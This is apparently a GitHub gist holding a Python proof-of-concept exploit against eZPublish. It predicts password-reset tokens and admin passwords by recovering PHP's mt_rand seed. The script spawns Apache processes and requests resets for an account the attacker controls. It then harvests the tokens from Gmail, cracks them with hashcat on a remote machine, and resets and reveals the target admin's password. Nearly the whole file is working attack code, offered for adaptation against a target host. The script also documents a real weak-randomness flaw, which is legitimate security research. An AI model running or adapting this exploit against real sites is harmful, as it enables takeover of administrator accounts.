#! /usr/bin/python | |
""" | |
eZPublish token reset and password prediction PoC. | |
This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the | |
following functions : | |
- getTokenFromMails(): used to retrieve emails and extract the reset token. | |
Is currently using GMail. | |
- crackHashes(): used to crack the retrieved tokens in order to extract | |
mt_rand throws. Is currently using a remote cracking machine | |
and cudaHashcat. | |
@us3r777 | |
""" | |
from socket import * | |
import urllib | |
import re | |
import argparse | |
import threading | |
import time, datetime | |
import subprocess | |
import sys | |
import hashlib | |
import imaplib | |
import getpass | |
import email | |
NB_TOKENS = 5 # The number of token to generate | |
def spawnNewApacheProcesses( conNum, host, port = 80): | |
""" Creates the necessary connections in order for a new process to be spawn in apache. """ | |
request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n' | |
sockList = [] | |
for i in range(conNum): | |
s = socket(AF_INET, SOCK_STREAM) | |
s.connect((host, port)) | |
s.send(request) | |
sockList.append(s) | |
return sockList | |
def closeNewApacheConnections( sockList ): | |
""" Closes the opened connections. """ | |
for s in sockList: | |
s.close() | |
def startHeartbeat(socket, request): | |
""" Makes a request on the socket in order to keep the connection up """ | |
try: | |
# NB_TOKENS requests have already been sent | |
for i in range(0,100 - NB_TOKENS): | |
socket.send(request) | |
time.sleep(4) | |
except: | |
print("Connection has been closed. Stopping heartbeat") | |
print("Heartbeat stopped") | |
def extractTokenFromMail(mail): | |
""" Extracts token from the mail body """ | |
token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1) | |
return token | |
def getTokensFromMails(email_address, password): | |
""" | |
Fetches mail from email_address. This function currently fetches mail | |
under ezpublish label from a gmail address. | |
Adapt it to your needs. | |
""" | |
tokens = [] | |
M = imaplib.IMAP4_SSL('imap.gmail.com') | |
M.login(email_address, password) | |
rv, data = M.select("ezpublish") | |
if rv == 'OK': | |
rv, data = M.search(None, "ALL") | |
if rv != 'OK': | |
print "No messages found!" | |
return | |
for num in data[0].split(): | |
rv, data = M.fetch(num, '(RFC822)') | |
if rv != 'OK': | |
print "ERROR getting message", num | |
return | |
msg = email.message_from_string(data[0][1]) | |
body = msg.get_payload() | |
token = extractTokenFromMail(body) | |
tokens.append(token) | |
print("Token found : " + token) | |
M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted | |
M.expunge() | |
M.close() | |
M.logout() | |
return tokens | |
def recvTimestamps(socket, nb_timestamp): | |
""" Receives nb_timestamp timestamps from socket """ | |
timestamps = [] | |
timestamp_count = 0 | |
while timestamp_count < nb_timestamp: | |
buf = socket.recv(256) | |
match = re.search("Date:\ ...,\ ([^G]*)G", buf) | |
if match: | |
timestring = match.group(1) | |
timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple()) | |
timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2 | |
timestamps.append(timestamp) | |
timestamp_count += 1 | |
print("Timestamp found : " + str(timestamp)) | |
return timestamps | |
def timeSince(start): | |
current_time = time.time() - start | |
minutes = "%d" % (current_time / 60) | |
seconds = "%0.2f" % (current_time % 60) | |
return "[ " + minutes + " min " + seconds + " sec ]" | |
def crackHashes(tokens, timestamps, user_id, nb_tokens): | |
""" | |
This function uses user_id and timestamps (salt) to crack the tokens. | |
Currently it uses an external cracking machine to crack the hashes. | |
Adapt it to your needs. | |
""" | |
# Write hashes and salt to a file | |
with open("hash", "w+") as hashfile: | |
for i in range(nb_tokens): | |
salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex") | |
hashfile.write(tokens[i] + ":" + salt + "\n") | |
# Upload the file on the password cracking machine | |
print('[+] Uploading hashes to the password cracking machine') | |
subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
print('[+] Launching cudahashcat ...') | |
mt_rand_values = [ None ] * nb_tokens | |
command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'" | |
cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
output = cudahashcat.communicate() # Wait for the process to end | |
matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0]) | |
for hash_recovered, mt_rand_value in matches: | |
print("Hash " + hash_recovered + " recovered : " + mt_rand_value) | |
mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value | |
return mt_rand_values | |
def crackSeed(mt_rand_values): | |
""" | |
Uses php_mt_seed to crack the seed using the recovered mt_rand_values. | |
php_mt_seed is available from http://www.openwall.com/php_mt_seed/ | |
the binary must be in the same directory. | |
""" | |
MIN = "0" | |
MAX = "2147483647" | |
PHP_MT_SEED = "exec ./php_mt_seed" | |
SEP = " " | |
SKIP = "0 0 0 0" | |
commands = PHP_MT_SEED + SEP | |
# Sometimes all mt_rand_values are not recovered due to difference in | |
# timestamp between generation of the token and server response. | |
for mt_rand_value in mt_rand_values: | |
if mt_rand_value: | |
commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP | |
# Skip when there is no value | |
else: | |
commands += SKIP + SEP + SKIP + SEP | |
print(commands) | |
php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE) | |
seed = None | |
while True: | |
out = php_mt_seed.stdout.readline() | |
if out == '' and php_mt_seed.poll() != None: | |
break | |
if out != '': | |
match = re.search("seed\ =\ ([0-9]{1,11})",out) | |
if match: | |
seed = match.group(1) | |
php_mt_seed.kill() | |
break | |
return seed | |
def recvAll(the_socket,timeout=2): | |
the_socket.setblocking(0) # make socket non blocking | |
total_data=[]; | |
data=''; | |
begin=time.time() | |
while 1: | |
if total_data and time.time()-begin > timeout: | |
break | |
elif time.time()- begin > timeout*2: | |
break | |
# recv something | |
try: | |
data = the_socket.recv(1024) | |
if data: | |
total_data.append(data) | |
begin=time.time() | |
else: | |
time.sleep(0.1) | |
except: | |
pass | |
the_socket.setblocking(1) | |
#join all parts to make final string | |
return ''.join(total_data) | |
def phpPredict(skip, seed): | |
""" | |
Calls a php script to predict the number generated by PHP after SKIP | |
throws using SEED to initialize the Mersene Twister generator | |
""" | |
predict = subprocess.Popen("php predict.php " + str(skip) + " " + seed, | |
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
output = predict.communicate()[0] | |
return re.match("([0-9]{1,11})", output).group(1) | |
def predictPassword(password_length, time, mt_rand_value): | |
""" | |
python version of the ezPublish createPassword function from | |
kernel/classes/datatypes/ezuser/ezuser.php | |
""" | |
chars = 0; | |
password = '' | |
decimal = 0; | |
seed = str(time) + ":" + mt_rand_value | |
while chars < password_length: | |
text = hashlib.md5(seed).hexdigest() | |
characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789" | |
tableCount = len(characterTable) | |
i = 0 | |
while chars < password_length and i < 32: | |
decimal += int(text[i:i+2], 16) | |
index = decimal % tableCount | |
character = characterTable[index] | |
password += character | |
i += 2 | |
chars += 1 | |
return password | |
def parseArguments(): | |
parser = argparse.ArgumentParser( | |
description='EZPublish reset token and password prediction tool') | |
parser.add_argument('--host', action='store', dest='host', | |
help='target hostname', required=True) | |
parser.add_argument('--proc', action='store', dest='proc', default=15, | |
type=int, help='The number of process to spawn') | |
parser.add_argument('--port', action='store', dest='port', type=int, | |
default=80, help='Port in which Apache is listening') | |
parser.add_argument('--app-base', action='store', dest='app_base', | |
default="/", help='The application base path') | |
parser.add_argument('--user-id', action='store', dest='user_id', | |
help='The id of the ezpublish user you control', | |
required=True) | |
parser.add_argument('--user-email', action='store', dest='user_email', | |
help='The email of the ezpublish user you control', | |
required=True) | |
parser.add_argument('--target-user-email', action='store', dest='target_email', | |
help='The email of the target ezpublish user', | |
required=True) | |
parser.add_argument('--target-user-id', action='store', dest='target_user_id', | |
help='The id of the target ezpublish user', | |
default="14") | |
args = parser.parse_args() | |
return args | |
def sendResetRequest(socket, host, app_base, email): | |
data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe' | |
request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \ | |
'Host: ' + host + '\r\n' + \ | |
'User-Agent: Mozilla/5.0\r\n' + \ | |
'Connection: keep-alive\r\n' + \ | |
'Content-Type: application/x-www-form-urlencoded\r\n' + \ | |
'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \ | |
data | |
socket.send(request) | |
def main(): | |
args = parseArguments() | |
heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host | |
start_time = time.time() | |
print('[+] Forcing creation of new apache process. ' + timeSince(start_time)) | |
conList = spawnNewApacheProcesses( args.proc, args.host ) | |
print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time)) | |
s = socket(AF_INET, SOCK_STREAM) | |
s.connect((args.host, args.port)) | |
for i in range(NB_TOKENS): | |
time.sleep(2) # Wait to ensure throws have different timestamp | |
sendResetRequest(s, args.host, args.app_base, args.user_email) | |
timestamps = recvTimestamps(s, NB_TOKENS) | |
print('[+] Starting Heartbeat ... ' + timeSince(start_time)) | |
thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None) | |
thread.start() | |
print('[+] Getting the mails ... ' + timeSince(start_time)) | |
time.sleep(10) # Wait 10 seconds to ensure mails are transmited | |
tokens = getTokensFromMails(args.user_email, getpass.getpass()) | |
print('[+] Cracking hashes') | |
mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS) | |
print('[+] Cracking the seed ... ' + timeSince(start_time)) | |
seed = crackSeed(mt_rand_values) | |
if seed: | |
print("\n-----------------------------------------") | |
print("Seed found : " + seed + " " + timeSince(start_time)) | |
print("-----------------------------------------") | |
# Flush the content of the pipe before reseting admin password | |
# To get the right timestamp | |
while(len(s.recv(256)) == 256): | |
pass | |
print("[+] Predicting token for user admin : ") | |
mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed) | |
print("[+] Reseting admin password ... ") | |
sendResetRequest(s, args.host, args.app_base, args.target_email) | |
timestamp = recvTimestamps(s, 1)[0] | |
token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest() | |
token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token | |
print("[+] Admin token url : http://" + args.host + token_reset_url) | |
print("[+] GET " + token_reset_url + " ...") | |
while(len(s.recv(256)) == 256): | |
pass | |
token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host | |
s.send(token_reset_request) | |
timestamp = recvTimestamps(s, 1)[0] | |
page = recvAll(s) | |
match = re.search("Un nouveau mot de passe", page) | |
if match: | |
print("[+] Password successfully reset !") | |
print("[+] Predicting password for user admin " + timeSince(start_time)) | |
mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed) | |
password = predictPassword(6, timestamp, mt_rand_value) | |
print("-----------------------------------------") | |
print("[+] Password of admin reset to : " + password + " " + timeSince(start_time)) | |
print("-----------------------------------------") | |
else: | |
print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.") | |
s.close() | |
closeNewApacheConnections( conList ) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment